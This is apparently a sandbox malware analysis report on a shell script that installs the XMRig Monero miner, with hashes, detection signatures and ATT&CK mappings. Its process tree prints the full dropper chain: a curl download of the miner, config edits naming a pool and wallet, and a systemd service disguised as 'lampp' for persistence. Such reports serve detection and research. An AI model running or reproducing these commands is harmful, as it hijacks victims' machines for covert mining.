Analysis

  • max time kernel
    3s
  • max time network
    1052s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01-07-2024 11:14

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1587
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1590
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1591
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1594
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1595
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1601
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1602
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1603
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1603
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1603
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1603
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:1604
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                          • Reads runtime system information
                          PID:1605
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1606
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                          • Reads runtime system information
                          PID:1611
                        • /usr/bin/cut
                          cut -f1 -d.
                          2⤵
                            PID:1610
                          • /usr/bin/hostname
                            hostname
                            2⤵
                              PID:1609
                            • /usr/bin/sed
                              sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                              2⤵
                              • Reads runtime system information
                              PID:1612
                            • /usr/bin/sed
                              sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                              2⤵
                                PID:1613
                              • /usr/bin/sed
                                sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240611-en-10\",/" /root/lampp/config.json
                                2⤵
                                  PID:1614
                                • /usr/bin/sed
                                  sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                  2⤵
                                    PID:1615
                                  • /usr/bin/sed
                                    sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:1616
                                    • /usr/bin/sed
                                      sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                      2⤵
                                        PID:1617
                                      • /usr/bin/sed
                                        sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                        2⤵
                                        • Reads runtime system information
                                        PID:1618
                                      • /usr/bin/cp
                                        cp /root/lampp/config.json /root/lampp/config_background.json
                                        2⤵
                                        • Reads runtime system information
                                        PID:1619
                                      • /usr/bin/sed
                                        sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                        2⤵
                                          PID:1620
                                        • /usr/bin/cat
                                          cat
                                          2⤵
                                            PID:1621
                                          • /usr/bin/chmod
                                            chmod +x /root/lampp/miner.sh
                                            2⤵
                                              PID:1622
                                            • /usr/bin/sudo
                                              sudo -n true
                                              2⤵
                                              • Reads runtime system information
                                              PID:1623
                                              • /usr/bin/true
                                                true
                                                3⤵
                                                  PID:1635
                                              • /usr/bin/awk
                                                awk "{print \$2}"
                                                2⤵
                                                  PID:1638
                                                • /usr/bin/grep
                                                  grep MemTotal /proc/meminfo
                                                  2⤵
                                                    PID:1637
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:1639
                                                    • /usr/bin/sudo
                                                      sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1640
                                                      • /usr/bin/mv
                                                        mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        3⤵
                                                          PID:1641
                                                      • /usr/bin/sudo
                                                        sudo killall xmrig
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1642
                                                        • /usr/bin/killall
                                                          killall xmrig
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:1643
                                                      • /usr/bin/sudo
                                                        sudo systemctl daemon-reload
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1644
                                                        • /usr/bin/systemctl
                                                          systemctl daemon-reload
                                                          3⤵
                                                            PID:1645
                                                        • /usr/bin/sudo
                                                          sudo systemctl enable lampp.service
                                                          2⤵
                                                            PID:1679
                                                            • /usr/bin/systemctl
                                                              systemctl enable lampp.service
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1680
                                                          • /usr/bin/sudo
                                                            sudo systemctl start lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1716
                                                            • /usr/bin/systemctl
                                                              systemctl start lampp.service
                                                              3⤵
                                                                PID:1717

                                                          Network

                                                          MITRE ATT&CK Matrix ATT&CK v13

                                                          Defense Evasion

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          Discovery

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          System Information Discovery

                                                          3
                                                          T1082

                                                          Command and Control

                                                          Web Service

                                                          1
                                                          T1102

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /root/lampp/config.json
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            f3294129e6b76283965ad86a815bf383

                                                            SHA1

                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                            SHA256

                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                            SHA512

                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                          • /root/lampp/miner.sh
                                                            Filesize

                                                            253B

                                                            MD5

                                                            f96a321a262287ceae164f23f232ed9c

                                                            SHA1

                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                            SHA256

                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                            SHA512

                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                          • /root/lampp/sed2nMT50
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            6c48f7aefd3b5402dd513fbf0837e03b

                                                            SHA1

                                                            e57436c78dd60609d722ea1f8d53cad69efd8869

                                                            SHA256

                                                            d9a227a5ce3ce84baab63cf2eb46a6cf9ec5d69003334a40b8c5008ec18b5253

                                                            SHA512

                                                            1a71c4bb76b79acf3b4db0cc340d8ac269485a8a49d6712f0b23483e309c271c1a871e32d82cf26b945333a0e9884e6b3d2fcf59d7629c89e7206c68f9bdd9d1

                                                          • /root/lampp/sed42WrpC
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            0f1d16871c1106f1a2e3a6127e4c5f3c

                                                            SHA1

                                                            f191a559f885fec6daddbcba44a35632b67cd2ea

                                                            SHA256

                                                            67eea2f898b5e2776b7a3459a22a5dfc64ffff8f560c3b7e1eab1156b1b1e3d7

                                                            SHA512

                                                            f49bc1ae40b69318382399fa4aab43f691c9dd350e15bca74c90ce794363ad6bd8d01e7bdc95128c6222ae7147c2d3f4d1cbc3fe8d687ce189f375b6e6a2c6c4

                                                          • /root/lampp/sed4hEXYf
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            cd9490bae61f95ebb5eefc49f2dd9723

                                                            SHA1

                                                            6dffa1cc918224f093426ea257b71d36d95c528b

                                                            SHA256

                                                            ef2ce84d2af7d293d91d9071aba4ab6f8468e330080893b02b2b22466f25366d

                                                            SHA512

                                                            ac3e89a025cd3a4771482ffc31847d7288a45518a3ea75e6d0fc15bbf596bcf8e797620c75becd02628b61f74c9d00c1e6b6ea899ca6a93f738f202c67543f1e

                                                          • /root/lampp/sedDPAPsD
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d489ddbbb83271e967b8af615d17d3c7

                                                            SHA1

                                                            f0394a367a60e9727269882154098dec802774ef

                                                            SHA256

                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                            SHA512

                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                          • /root/lampp/sedkk93uf
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            b2d49b5d2d7ca6bbabbeb915b79e6a32

                                                            SHA1

                                                            d4d582d6afde90cec31b32e48637ee7c636ef58e

                                                            SHA256

                                                            61a076c93dc22db2d5209315b72f240f234e3f02fac843c09ac934c9fc99e440

                                                            SHA512

                                                            2793aa1abfff8e0dcd723a838f08358fd1d2fdf375ef492a7d5d73acec51aa2a8ad2de74be33e2875388e9ab86bf6be703f651b4f2808ac5f660f10ddb51db0f

                                                          • /root/lampp/sedyjnrXU
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8b11b027dd187104473ee7d661ffe25f

                                                            SHA1

                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                            SHA256

                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                            SHA512

                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                          • /root/lampp/xmrig
                                                            Filesize

                                                            8.4MB

                                                            MD5

                                                            e6b2f9d13d45c128b44cb5405df9ab39

                                                            SHA1

                                                            c07326f69240e3d22d134d156528af3bd5d0497b

                                                            SHA256

                                                            96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

                                                            SHA512

                                                            4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

                                                          • /tmp/lampp.service
                                                            Filesize

                                                            177B

                                                            MD5

                                                            540c899b78585827e807a62f7345eaf5

                                                            SHA1

                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                            SHA256

                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                            SHA512

                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                          • /tmp/xmrig.tar.gz
                                                            Filesize

                                                            3.4MB

                                                            MD5

                                                            e003a3ec8bdd61151a61cadf950502c4

                                                            SHA1

                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                            SHA256

                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                            SHA512

                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9